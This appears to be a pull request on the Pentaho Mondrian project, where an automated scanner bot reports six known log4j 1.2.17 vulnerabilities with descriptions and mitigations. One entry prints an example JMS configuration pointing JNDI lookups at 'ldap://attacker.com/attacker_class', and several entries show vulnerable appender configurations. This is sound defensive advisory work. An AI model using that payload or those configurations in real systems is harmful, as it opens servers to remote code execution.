DO NOT MERGE

[lucboudreau]

No description provided.

[buildguy]

📦 Vulnerable Dependencies

✍️ Summary

SEVERITY	DIRECT DEPENDENCIES	IMPACTED DEPENDENCY	FIXED VERSIONS	CVES
Critical	pentaho:mondrian:10.3.0.0-SNAPSHOT log4j:log4j:1.2.17	log4j:log4j 1.2.17	-	CVE-2022-23305
Critical	log4j:log4j:1.2.17 pentaho:mondrian:10.3.0.0-SNAPSHOT	log4j:log4j 1.2.17	-	CVE-2019-17571
High	log4j:log4j:1.2.17 pentaho:mondrian:10.3.0.0-SNAPSHOT	log4j:log4j 1.2.17	-	CVE-2022-23307
High	log4j:log4j:1.2.17 pentaho:mondrian:10.3.0.0-SNAPSHOT	log4j:log4j 1.2.17	[2.0.0]	CVE-2023-26464
High	log4j:log4j:1.2.17 pentaho:mondrian:10.3.0.0-SNAPSHOT	log4j:log4j 1.2.17	-	CVE-2021-4104
High	log4j:log4j:1.2.17 pentaho:mondrian:10.3.0.0-SNAPSHOT	log4j:log4j 1.2.17	-	CVE-2022-23302

🔬 Research Details

[ CVE-2022-23305 ] log4j:log4j 1.2.17

Description:
JDBCAppender is a class in Log4j server that writes logging events to a relational database using standard JDBC mechanisms.

It was discovered an insufficient input check in JDBCAppender class may lead to SQL Injection.
The JDBCAppender class accepts an SQL statement as a configuration parameter and did not properly check the input.

The values inserted into the SQL statement are converted using a PatternLayout.
This class formats a logging event and returns the result as a string. The results depend on the conversion pattern, which is closely related to the conversion pattern of the printf C function.

The %m conversion character acts as the printf %s conversion character.
It is likely always to be included at the log formatting, as it's the one that should contain the log message provided.

An attacker can exploit this vulnerability by entering crafted strings into input fields or headers of an application that are logged and cause SQL queries to be executed.

There is no published exploit for this vulnerability.

The vulnerability affects only Log4j 1.2.x versions. Log4j v1 is no longer maintained, and users should upgrade to Log4j 2.

Note that this vulnerability is less likely to be exploited, as Log4j needs to be specifically configured to use JDBCAppender, which is not the default.

An example vulnerable configuration that enables JDBCAppender:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
	<Appenders>
		<JDBC name="dbLogsStore" tableName="EVENT_LOGS">			
			<ConnectionFactory class="com.demo.jdbcappender.LogsStoreConnectionFactory" method="getConnection" />
			<Column name="ID" pattern="%u" />
			<Column name="DATE_TIME" isEventTimestamp="true" />
			<Column name="CLASS" pattern="%logger" />
			<Column name="LEVEL" pattern="%level" />
			<Column name="MESSAGE" pattern="%message" />
			<Column name="EXCEPTION" pattern="%ex{full}" isClob="true"/>
		</JDBC>
	</Appenders>
</Configuration>

Remediation:

Deployment mitigations

Possible mitigations for the vulnerability:

1. Comment out or remove JDBCAppender in the Log4j configuration if it's used.
2. Remove the JDBCAppender class from the server's jar files. For example:
   zip -q -d log4j-*.jar org/apache/log4j/jdbc/JDBCAppender.class

[ CVE-2019-17571 ] log4j:log4j 1.2.17

Description:
This vulnerability in Log4j 1.2.x is the same as CVE-2017-5645, which was found and fixed for Log4j 2.x in version 2.8.2. For more technical details on the original issue, see the relevant ticket in the Log4j JIRA. This issue is only relevant to applications that use Log4j socket classes (specifically SocketServer and classes using it, as TcpSocketServer, UdpSocketServer and SecureTcpSocketServer) to receive (over TCP or UDP) and then deserialize untrusted log events. An attacker that controls these events would craft a payload containing a gadget chain that upon deserialization would create objects from specific Java classes. These specially selected classes allow that attacker to invoke methods that would ultimately allow to execute arbitrary code by running a process or overwriting a critical file.

Remediation:

Development mitigations

Replace usage of SocketReceiver and UDPReceiver with XMLSocketReceiver, which supplies the same interface and is not vulnerable to this issue

[ CVE-2022-23307 ] log4j:log4j 1.2.17

Description:
Chainsaw is a Java-based GUI for Log4j. It allows interacting with the Log4j API, collecting, viewing and analyzing various logs. Chainsaw can interpret logs in XML format and has the ability to receive logs from local and remote locations.

This issue is remotely exploitable if Chainsaw is configured with the SocketReceiver or UDPReceiver interfaces, which listen for remote log events.

Specifically, Chainsaw (and Log4j) can receive logs via network with the SocketReceiver or UDPReceiver interfaces. When these interfaces are used, the data is expected to be a serialized java object, and it immediately gets deserialized without any validation on the type of the Java object.
This leads to immediate code execution, as the deserialized object may trigger code execution gadgets.

Attackers that can send logs to the Apache Chainsaw server can craft a special Java LoggingEvent object that has a malicious setProperty method. This method is called directly after deserialization, which will allow the attacker to run arbitrary Java code on the victim machine.

Remediation:

Deployment mitigations

Modify the Apache Chainsaw configuration file to use XMLSocketReceiver:

<plugin name="XMLSocketReceiver" class="org.apache.log4j.net.XMLSocketReceiver">
<param name="decoder" value="org.apache.log4j.xml.UtilLoggingXMLDecoder"/>
<param name="Port" value="2222"/>
</plugin>

Make sure SocketReceiver and UDPReceiver are disabled by removing the following from the configuration file:

<plugin name="SocketReceiver" class="org.apache.log4j.net.SocketReceiver">
<param name="Port" value="4445"/>
</plugin>

and

<plugin name="UDPReceiver" class="org.apache.log4j.net.UDPReceiver">
<param name="Port" value="4445"/>
</plugin>

[ CVE-2023-26464 ] log4j:log4j 1.2.17

Description:
Apache Log4j is a ubiquitous Java-based logging framework.
SocketAppender is a class in Log4j server that writes logging events to a remote server.
Chainsaw is a companion module that allows to view the logs in a GUI-based viewer via a SocketAppender.

It was discovered that an insufficient input check in SocketAppender or the Chainsaw components may lead to a denial of service.
A deeply-nested log entry (hashmap or hashtable type) could lead to an unbounded memory footprint when deserialized, and in some cases, relatively small log entries can consume much larger amounts of memory.

An attacker can exploit this vulnerability by entering crafted strings into input fields or headers of an application that are logged and cause a denial of service.

There is no published exploit for this vulnerability.

The vulnerability affects only Log4j 1.2.x versions. Log4j v1 is no longer maintained, and users should upgrade to Log4j 2.

Note that this vulnerability is less likely to be exploited, as Log4j needs to be specifically configured to use SocketAppender or Chainsaw, which is not the default.

Example for a vulnerable configuration:

<log4j:configuration debug="false" threshold="debug" xmlns:log4j="http://jakarta.apache.org/log4j/">
    <appender name="socketAppender" class="org.apache.log4j.net.SocketAppender">
        <param name="Name" value="MySockeAppender" />
        <param name="advertiseViaMulticastDNS" value="true" />
    </appender>
    <root>
        <level value="INFO" />
        <appender-ref ref="socketAppender" />
    </root>
</log4j:configuration>

[ CVE-2021-4104 ] log4j:log4j 1.2.17

Description:
JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

[ CVE-2022-23302 ] log4j:log4j 1.2.17

Description:
JMSSink is a simple application in Apache Log4j server that consumes logging events.

Deserialization of untrusted data vulnerability has been discovered in the JMSSink component which uses JNDI in an unprotected manner.
JMSSink is run in a standalone manner, for example -

java -cp log4j.jar org.apache.log4j.net.JMSSink

An attacker can exploit this vulnerability by providing a crafted TopicConnectionFactoryBindingName value in the Log4j configuration file, that causes JMSSink to perform JNDI requests that result in remote code execution, for example -

log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://localhost:61616
>>>log4j.appender.jms.TopicBindingName=ldap://attacker.com/attacker_class
>>>log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://attacker.com/attacker_class

The vulnerability is highly unlikely to be exploitable since -

1. The attacker must be able to control the Log4j configuration file, which is extremely unlikely
2. The JMSSink application must be executed

Remediation:

Deployment mitigations

Remove the JMSSink class from the server's jar files. For example -

zip -q -d log4j-*.jar org/apache/log4j/net/JMSSink.class

Note:

---

Frogbot also supports Contextual Analysis, Secret Detection, IaC and SAST Vulnerabilities Scanning. This features are included as part of the JFrog Advanced Security package, which isn't enabled on your system.

---

🐸 JFrog Frogbot